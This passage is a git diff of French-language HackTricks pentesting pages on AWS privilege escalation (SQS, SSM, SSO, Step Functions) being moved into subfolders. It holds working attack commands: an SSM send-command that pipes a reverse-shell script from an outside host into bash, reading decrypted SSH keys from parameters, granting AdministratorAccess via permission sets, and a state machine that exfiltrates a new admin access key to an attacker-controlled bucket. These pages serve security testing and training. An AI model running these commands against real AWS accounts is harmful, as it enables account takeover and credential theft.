'{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}' +``` +**Impact potentiel**: La Lambda victime s'exécute avec son rôle IAM, traitant des entrées contrôlées par l'attaquant. Cela peut être abusé pour amener la fonction à effectuer des actions sensibles (par ex., écrire dans S3, accéder à des secrets, modifier des ressources) selon ses permissions. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md deleted file mode 100644 index 9bc26de33..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - SQS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:AddPermission` - -Un attaquant pourrait utiliser cette permission pour accorder à des utilisateurs ou services non autorisés l'accès à une file d'attente SQS en créant de nouvelles politiques ou en modifiant des politiques existantes. Cela pourrait entraîner un accès non autorisé aux messages dans la file d'attente ou une manipulation de la file d'attente par des entités non autorisées. -```bash -cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label -``` -**Impact potentiel** : Accès non autorisé à la file d'attente, exposition de messages ou manipulation de la file d'attente par des utilisateurs ou services non autorisés. - -### `sqs:SendMessage`, `sqs:SendMessageBatch` - -Un attaquant pourrait envoyer des messages malveillants ou indésirables à la file d'attente SQS, ce qui pourrait entraîner une corruption des données, déclencher des actions non intentionnelles ou épuiser les ressources. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**Impact potentiel** : Exploitation de vulnérabilités, corruption de données, actions non intentionnelles ou épuisement des ressources. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -Un attaquant pourrait recevoir, supprimer ou modifier la visibilité des messages dans une file SQS, entraînant une perte de messages, une corruption de données ou une interruption de service pour les applications s'appuyant sur ces messages. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**Impact potentiel** : Vol d'informations sensibles, perte de messages, corruption de données et interruption de service pour les applications dépendant des messages affectés. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md new file mode 100644 index 000000000..9899434a5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md @@ -0,0 +1,40 @@ +# AWS - SQS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:AddPermission` + +Un attaquant pourrait utiliser cette permission pour accorder à des utilisateurs ou services non autorisés l'accès à une file SQS en créant de nouvelles politiques ou en modifiant des politiques existantes. Cela pourrait entraîner un accès non autorisé aux messages dans la file ou la manipulation de la file par des entités non autorisées. +```bash +aws sqs add-permission --queue-url --actions --aws-account-ids --label +``` +**Impact potentiel** : Accès non autorisé à la file, exposition des messages ou manipulation de la file par des utilisateurs ou services non autorisés. + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +Un attaquant pourrait envoyer des messages malveillants ou indésirables à la SQS queue, pouvant causer une corruption des données, déclencher des actions non intentionnelles ou épuiser les ressources. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Impact potentiel**: Exploitation de vulnérabilités, corruption de données, actions non intentionnelles ou épuisement des ressources. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +Un attaquant pourrait recevoir, supprimer ou modifier la visibilité des messages dans une file SQS, entraînant une perte de messages, une corruption de données ou une interruption de service pour les applications qui dépendent de ces messages. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Impact potentiel**: Vol d'informations sensibles, perte de messages, corruption de données et interruption de service pour les applications dépendant des messages affectés. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md deleted file mode 100644 index 4059d0ef5..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ /dev/null @@ -1,130 +0,0 @@ -# AWS - SSM Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -Pour plus d'informations sur SSM, consultez : - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `ssm:SendCommand` - -Un attaquant ayant la permission **`ssm:SendCommand`** peut **exécuter des commandes dans des instances** exécutant l'agent Amazon SSM et **compromettre le rôle IAM** s'exécutant à l'intérieur. -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" -``` -Dans le cas où vous utilisez cette technique pour élever les privilèges à l'intérieur d'une instance EC2 déjà compromise, vous pourriez simplement capturer le rev shell localement avec : -```bash -# If you are in the machine you can capture the reverseshel inside of it -nc -lvnp 4444 #Inside the EC2 instance -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" -``` -**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution. - -### `ssm:StartSession` - -Un attaquant ayant la permission **`ssm:StartSession`** peut **démarrer une session similaire à SSH dans les instances** exécutant l'agent Amazon SSM et **compromettre le rôle IAM** s'exécutant à l'intérieur. -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm start-session --target "$INSTANCE_ID" -``` -> [!CAUTION] -> Pour commencer une session, vous devez avoir le **SessionManagerPlugin** installé : [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) - -**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution. - -#### Privesc à ECS - -Lorsque les **tâches ECS** s'exécutent avec **`ExecuteCommand` activé**, les utilisateurs ayant suffisamment de permissions peuvent utiliser `ecs execute-command` pour **exécuter une commande** à l'intérieur du conteneur.\ -Selon [**la documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), cela se fait en créant un canal sécurisé entre l'appareil que vous utilisez pour initier la commande “_exec_“ et le conteneur cible avec SSM Session Manager. (Le plugin SSM Session Manager est nécessaire pour que cela fonctionne)\ -Par conséquent, les utilisateurs avec `ssm:StartSession` pourront **obtenir un shell à l'intérieur des tâches ECS** avec cette option activée en exécutant simplement : -```bash -aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" -``` -![](<../../../images/image (185).png>) - -**Impact potentiel :** Privesc direct aux rôles `ECS`IAM attachés aux tâches en cours d'exécution avec `ExecuteCommand` activé. - -### `ssm:ResumeSession` - -Un attaquant ayant la permission **`ssm:ResumeSession`** peut re-**démarrer une session similaire à SSH dans des instances** exécutant l'agent Amazon SSM avec un état de session SSM **déconnecté** et **compromettre le rôle IAM** s'exécutant à l'intérieur. -```bash -# Check for configured instances -aws ssm describe-sessions - -# Get resume data (you will probably need to do something else with this info to connect) -aws ssm resume-session \ ---session-id Mary-Major-07a16060613c408b5 -``` -**Impact potentiel :** Privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution et des sessions déconnectées. - -### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) - -Un attaquant avec les permissions mentionnées sera capable de lister les **paramètres SSM** et **de les lire en texte clair**. Dans ces paramètres, vous pouvez fréquemment **trouver des informations sensibles** telles que des clés SSH ou des clés API. -```bash -aws ssm describe-parameters -# Suppose that you found a parameter called "id_rsa" -aws ssm get-parameters --names id_rsa --with-decryption -aws ssm get-parameter --name id_rsa --with-decryption -``` -**Impact potentiel :** Trouver des informations sensibles à l'intérieur des paramètres. - -### `ssm:ListCommands` - -Un attaquant avec cette permission peut lister toutes les **commandes** envoyées et espérer trouver des **informations sensibles** à leur sujet. -``` -aws ssm list-commands -``` -**Impact potentiel :** Trouver des informations sensibles dans les lignes de commande. - -### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) - -Un attaquant avec ces autorisations peut lister toutes les **commandes** envoyées et **lire la sortie** générée, espérant trouver des **informations sensibles** à ce sujet. -```bash -# You can use any of both options to get the command-id and instance id -aws ssm list-commands -aws ssm list-command-invocations - -aws ssm get-command-invocation --command-id --instance-id -``` -**Impact potentiel :** Trouver des informations sensibles dans la sortie des lignes de commande. - -### Utilisation de ssm:CreateAssociation - -Un attaquant ayant la permission **`ssm:CreateAssociation`** peut créer une association de gestion d'état pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à intervalles réguliers, les rendant adaptées à une persistance de type backdoor sans sessions interactives. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> Cette méthode de persistance fonctionne tant que l'instance EC2 est gérée par Systems Manager, que l'agent SSM est en cours d'exécution et que l'attaquant a la permission de créer des associations. Elle ne nécessite pas de sessions interactives ni de permissions explicites ssm:SendCommand. **Important :** Le paramètre `--schedule-expression` (par exemple, `rate(30 minutes)`) doit respecter l'intervalle minimum de 30 minutes d'AWS. Pour une exécution immédiate ou unique, omettez complètement `--schedule-expression` — l'association s'exécutera une fois après sa création. - -### Codebuild - -Vous pouvez également utiliser SSM pour accéder à un projet codebuild en cours de construction : - -{{#ref}} -aws-codebuild-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md new file mode 100644 index 000000000..8e482ad5f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -0,0 +1,130 @@ +# AWS - SSM Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +Pour plus d'informations sur SSM, consultez : + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `ssm:SendCommand` + +Un attaquant disposant de la permission **`ssm:SendCommand`** peut **exécuter des commandes sur des instances** exécutant l'Amazon SSM Agent et **compromettre le IAM Role** qui s'exécute à l'intérieur. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +``` +Au cas où vous utiliseriez cette technique pour escalader des privilèges à l'intérieur d'une instance EC2 déjà compromise, vous pourriez simplement capturer le rev shell localement avec : +```bash +# If you are in the machine you can capture the reverseshel inside of it +nc -lvnp 4444 #Inside the EC2 instance +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +``` +**Impact potentiel:** Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution avec des SSM Agents. + +### `ssm:StartSession` + +Un attaquant disposant de l'autorisation **`ssm:StartSession`** peut **ouvrir une session de type SSH sur des instances** exécutant l'Amazon SSM Agent et **compromettre l'IAM Role** s'y exécutant. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm start-session --target "$INSTANCE_ID" +``` +> [!CAUTION] +> Pour démarrer une session vous avez besoin du **SessionManagerPlugin** installé: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) + +**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des SSM Agents actifs. + +#### Privesc vers ECS + +Lorsque les **ECS tasks** s'exécutent avec **`ExecuteCommand` enabled** les utilisateurs disposant des permissions suffisantes peuvent utiliser `ecs execute-command` pour **exécuter une commande** à l'intérieur du conteneur.\ +Selon [**la documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) cela se fait en créant un canal sécurisé entre l'appareil que vous utilisez pour initier la commande “_exec_” et le conteneur cible via SSM Session Manager. (SSM Session Manager Plugin nécessaire pour que cela fonctionne)\ +Par conséquent, les utilisateurs avec `ssm:StartSession` pourront **obtenir un shell à l'intérieur des ECS tasks** ayant cette option activée simplement en exécutant: +```bash +aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" +``` +![](<../../../images/image (185).png>) + +**Impact potentiel :** Privesc direct vers les `ECS`IAM roles attachés aux tâches en cours d'exécution avec `ExecuteCommand` activé. + +### `ssm:ResumeSession` + +Un attaquant disposant de la permission **`ssm:ResumeSession`** peut re-**démarrer une session de type SSH sur des instances** exécutant l'Amazon SSM Agent avec un état de session SSM **déconnecté** et **compromettre le IAM Role** s'exécutant à l'intérieur de celle-ci. +```bash +# Check for configured instances +aws ssm describe-sessions + +# Get resume data (you will probably need to do something else with this info to connect) +aws ssm resume-session \ +--session-id Mary-Major-07a16060613c408b5 +``` +**Impact potentiel :** privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des SSM Agents actifs et des sessions déconnectées. + +### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) + +Un attaquant disposant des permissions mentionnées pourra lister les **SSM parameters** et les **lire en clair**. Dans ces paramètres, vous pouvez fréquemment **trouver des informations sensibles** telles que des SSH keys ou des API keys. +```bash +aws ssm describe-parameters +# Suppose that you found a parameter called "id_rsa" +aws ssm get-parameters --names id_rsa --with-decryption +aws ssm get-parameter --name id_rsa --with-decryption +``` +**Impact potentiel :** Trouver des informations sensibles dans les paramètres. + +### `ssm:ListCommands` + +Un attaquant disposant de cette permission peut lister toutes les **commandes** envoyées et potentiellement y trouver des **informations sensibles**. +``` +aws ssm list-commands +``` +**Potential Impact:** Trouver des informations sensibles dans les lignes de commande. + +### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) + +Un attaquant disposant de ces permissions peut lister toutes les **commands** envoyées et **lire la sortie** générée, en espérant y trouver des **informations sensibles**. +```bash +# You can use any of both options to get the command-id and instance id +aws ssm list-commands +aws ssm list-command-invocations + +aws ssm get-command-invocation --command-id --instance-id +``` +**Impact potentiel :** Trouver des informations sensibles dans la sortie des lignes de commande. + +### Utilisation de ssm:CreateAssociation + +Un attaquant disposant de l'autorisation **`ssm:CreateAssociation`** peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à intervalles fixes, les rendant adaptées à la backdoor-like persistence sans sessions interactives. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Cette méthode de persistance fonctionne tant que l'instance EC2 est gérée par Systems Manager, que l'agent SSM est en cours d'exécution, et que l'attaquant a l'autorisation de créer des associations. Elle ne requiert pas de sessions interactives ni la permission explicite ssm:SendCommand. **Important :** Le paramètre `--schedule-expression` (par ex., `rate(30 minutes)`) doit respecter l'intervalle minimum d'AWS de 30 minutes. Pour une exécution immédiate ou ponctuelle, omettez complètement `--schedule-expression` — l'association s'exécutera une fois après sa création. + +### Codebuild + +Vous pouvez aussi utiliser SSM pour accéder à un projet Codebuild en cours d'exécution : + +{{#ref}} +../aws-codebuild-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md index c9bf5e104..9257ffa5c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md @@ -1,33 +1,33 @@ # AWS - SSO & identitystore Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## AWS Identity Center / AWS SSO Pour plus d'informations sur AWS Identity Center / AWS SSO, consultez : {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> Notez qu'en **default**, seuls les **utilisateurs** ayant des permissions **du** **compte de gestion** pourront accéder et **contrôler l'IAM Identity Center**.\ -> Les utilisateurs d'autres comptes ne peuvent le permettre que si le compte est un **Administrateur délégué.**\ -> [Consultez la documentation pour plus d'infos.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> Notez que, par **défaut**, seuls les **utilisateurs** disposant de permissions **du** **Management Account** pourront accéder et **contrôler l'IAM Identity Center**.\ +> Les utilisateurs d'autres comptes ne peuvent le faire que si le compte est un **Delegated Administrator.**\ +> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) ### ~~Réinitialiser le mot de passe~~ -Une façon simple d'escalader les privilèges dans des cas comme celui-ci serait d'avoir une permission qui permet de réinitialiser les mots de passe des utilisateurs. Malheureusement, il n'est possible d'envoyer qu'un email à l'utilisateur pour réinitialiser son mot de passe, donc vous auriez besoin d'accéder à l'email de l'utilisateur. +Une manière simple d'escalader les privilèges dans ce genre de cas serait d'avoir une permission permettant de réinitialiser les mots de passe des utilisateurs. Malheureusement, il n'est possible que d'envoyer un e-mail à l'utilisateur pour réinitialiser son mot de passe, donc vous auriez besoin d'accéder à l'e-mail de l'utilisateur. ### `identitystore:CreateGroupMembership` -Avec cette permission, il est possible de placer un utilisateur dans un groupe afin qu'il hérite de toutes les permissions que le groupe possède. +Avec cette permission, il est possible d'ajouter un utilisateur à un groupe afin qu'il hérite de toutes les permissions du groupe. ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un utilisateur sous son contrôle. +Un attaquant disposant de cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un user sous son contrôle ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml @@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un utilisateur sous son contrôle. +Un attaquant disposant de cette permission pourrait accorder des autorisations supplémentaires à un Permission Set qui est attribué à un utilisateur sous son contrôle. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -60,10 +60,10 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un utilisateur sous son contrôle. +Un attaquant disposant de cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est attribué à un utilisateur sous son contrôle. > [!WARNING] -> Pour abuser de ces permissions dans ce cas, vous devez connaître le **nom d'une politique gérée par le client qui se trouve dans TOUS les comptes** qui vont être affectés. +> Pour abuser de ces permissions dans ce cas, vous devez connaître le **nom d'une customer managed policy qui est présente DANS TOUS les comptes** qui seront affectés. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -73,40 +73,40 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:CreateAccountAssignment` -Un attaquant disposant de cette autorisation pourrait attribuer un ensemble de permissions à un utilisateur sous son contrôle pour un compte. +Un attaquant ayant cette autorisation pourrait attribuer un Permission Set à un utilisateur qu'il contrôle sur un compte. ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` ### `sso:GetRoleCredentials` -Renvoie les informations d'identification à court terme STS pour un nom de rôle donné qui est attribué à l'utilisateur. +Renvoie les identifiants temporaires STS pour un rôle donné attribué à l'utilisateur. ``` aws sso get-role-credentials --role-name --account-id --access-token ``` -Cependant, vous avez besoin d'un jeton d'accès que je ne sais pas comment obtenir (TODO). +Cependant, vous avez besoin d'un access token que je ne sais pas comment obtenir (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -Un attaquant ayant cette autorisation peut supprimer l'association entre une politique gérée par AWS et l'ensemble de permissions spécifié. Il est possible d'accorder plus de privilèges en **détachant une politique gérée (politique de refus)**. +Un attaquant disposant de cette permission peut supprimer l'association entre un managed policy AWS et le permission set spécifié. Il est possible d'obtenir plus de privilèges en **détachant un managed policy (deny policy)**. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -Un attaquant ayant cette permission peut supprimer l'association entre une politique gérée par le client et l'ensemble de permissions spécifié. Il est possible d'accorder plus de privilèges en **détachant une politique gérée (politique de refus)**. +Un attacker disposant de cette permission peut supprimer l'association entre une Customer managed policy et le permission set spécifié. Il est possible d'accorder davantage de privilèges en **détachant une managed policy (deny policy)**. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` ### `sso:DeleteInlinePolicyFromPermissionSet` -Un attaquant avec cette permission peut supprimer les autorisations d'une politique intégrée du jeu de permissions. Il est possible d'accorder **plus de privilèges en détachant une politique intégrée (politique de refus)**. +Un attaquant disposant de cette permission peut supprimer les permissions d'une inline policy du permission set. Il est possible d'accorder **davantage de privilèges en détachant une inline policy (deny policy)**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` ### `sso:DeletePermissionBoundaryFromPermissionSet` -Un attaquant avec cette permission peut supprimer la Permission Boundary du jeu de permissions. Il est possible d'accorder **plus de privilèges en supprimant les restrictions sur le jeu de permissions** donné par la Permission Boundary. +Un attaquant disposant de cette permission peut supprimer le Permission Boundary du permission set. Il est possible d'accorder **plus de privilèges en supprimant les restrictions sur le Permission Set** imposées par le Permission Boundary. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md deleted file mode 100644 index 2b521e0ca..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ /dev/null @@ -1,231 +0,0 @@ -# AWS - Step Functions Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Pour plus d'informations sur ce service AWS, consultez : - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Ressources de Tâche - -Ces techniques d'escalade de privilèges nécessiteront l'utilisation de certaines ressources de fonction étape AWS afin d'effectuer les actions d'escalade de privilèges souhaitées. - -Pour vérifier toutes les actions possibles, vous pouvez vous rendre sur votre propre compte AWS, sélectionner l'action que vous souhaitez utiliser et voir les paramètres qu'elle utilise, comme dans : - -
- -Ou vous pouvez également consulter la documentation API AWS et vérifier la documentation de chaque action : - -- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) -- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) - -### `states:TestState` & `iam:PassRole` - -Un attaquant avec les permissions **`states:TestState`** & **`iam:PassRole`** peut tester n'importe quel état et passer n'importe quel rôle IAM sans créer ou mettre à jour une machine d'état existante, ce qui peut permettre un accès non autorisé à d'autres services AWS avec les permissions des rôles. Combinées, ces permissions peuvent conduire à des actions non autorisées étendues, allant de la manipulation des flux de travail pour altérer des données à des violations de données, manipulation de ressources et escalade de privilèges. -```bash -aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] -``` -Les exemples suivants montrent comment tester un état qui crée une clé d'accès pour l'utilisateur **`admin`** en tirant parti de ces autorisations et d'un rôle permissif de l'environnement AWS. Ce rôle permissif devrait avoir une politique à privilèges élevés associée (par exemple **`arn:aws:iam::aws:policy/AdministratorAccess`**) qui permet à l'état d'effectuer l'action **`iam:CreateAccessKey`** : - -- **stateDefinition.json**: -```json -{ -"Type": "Task", -"Parameters": { -"UserName": "admin" -}, -"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", -"End": true -} -``` -- **Commande** exécutée pour effectuer l'élévation de privilèges : -```bash -aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole - -{ -"output": "{ -\"AccessKey\":{ -\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", -\"CreateDate\":\"2024-07-09T16:59:11Z\", -\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", -\"Status\":\"Active\", -\"UserName\":\"admin\" -} -}", -"status": "SUCCEEDED" -} -``` -**Impact potentiel** : Exécution non autorisée et manipulation de flux de travail et accès à des ressources sensibles, pouvant entraîner des violations de sécurité significatives. - -### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) - -Un attaquant avec les **`states:CreateStateMachine`** & **`iam:PassRole`** serait capable de créer une machine d'état et de lui fournir n'importe quel rôle IAM, permettant un accès non autorisé à d'autres services AWS avec les permissions du rôle. Contrairement à la technique de privesc précédente (**`states:TestState`** & **`iam:PassRole`**), celle-ci ne s'exécute pas d'elle-même, vous devrez également avoir les permissions **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** n'est **pas disponible pour les flux de travail standard**, **juste pour les machines d'état express**) afin de démarrer une exécution sur la machine d'état. -```bash -# Create a state machine -aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ -[--tracing-configuration ] [--publish | --no-publish] [--version-description ] - -# Start a state machine execution -aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] - -# Start a Synchronous Express state machine execution -aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] -``` -Les exemples suivants montrent comment créer une machine d'état qui crée une clé d'accès pour l'utilisateur **`admin`** et exfiltre cette clé d'accès vers un bucket S3 contrôlé par un attaquant, en tirant parti de ces autorisations et d'un rôle permissif de l'environnement AWS. Ce rôle permissif devrait avoir une politique à privilèges élevés associée (par exemple **`arn:aws:iam::aws:policy/AdministratorAccess`**) qui permet à la machine d'état d'effectuer les actions **`iam:CreateAccessKey`** et **`s3:putObject`**. - -- **stateMachineDefinition.json**: -```json -{ -"Comment": "Malicious state machine to create IAM access key and upload to S3", -"StartAt": "CreateAccessKey", -"States": { -"CreateAccessKey": { -"Type": "Task", -"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", -"Parameters": { -"UserName": "admin" -}, -"ResultPath": "$.AccessKeyResult", -"Next": "PrepareS3PutObject" -}, -"PrepareS3PutObject": { -"Type": "Pass", -"Parameters": { -"Body.$": "$.AccessKeyResult.AccessKey", -"Bucket": "attacker-controlled-S3-bucket", -"Key": "AccessKey.json" -}, -"ResultPath": "$.S3PutObjectParams", -"Next": "PutObject" -}, -"PutObject": { -"Type": "Task", -"Resource": "arn:aws:states:::aws-sdk:s3:putObject", -"Parameters": { -"Body.$": "$.S3PutObjectParams.Body", -"Bucket.$": "$.S3PutObjectParams.Bucket", -"Key.$": "$.S3PutObjectParams.Key" -}, -"End": true -} -} -} -``` -- **Commande** exécutée pour **créer la machine d'état** : -```bash -aws stepfunctions create-state-machine --name MaliciousStateMachine --definition 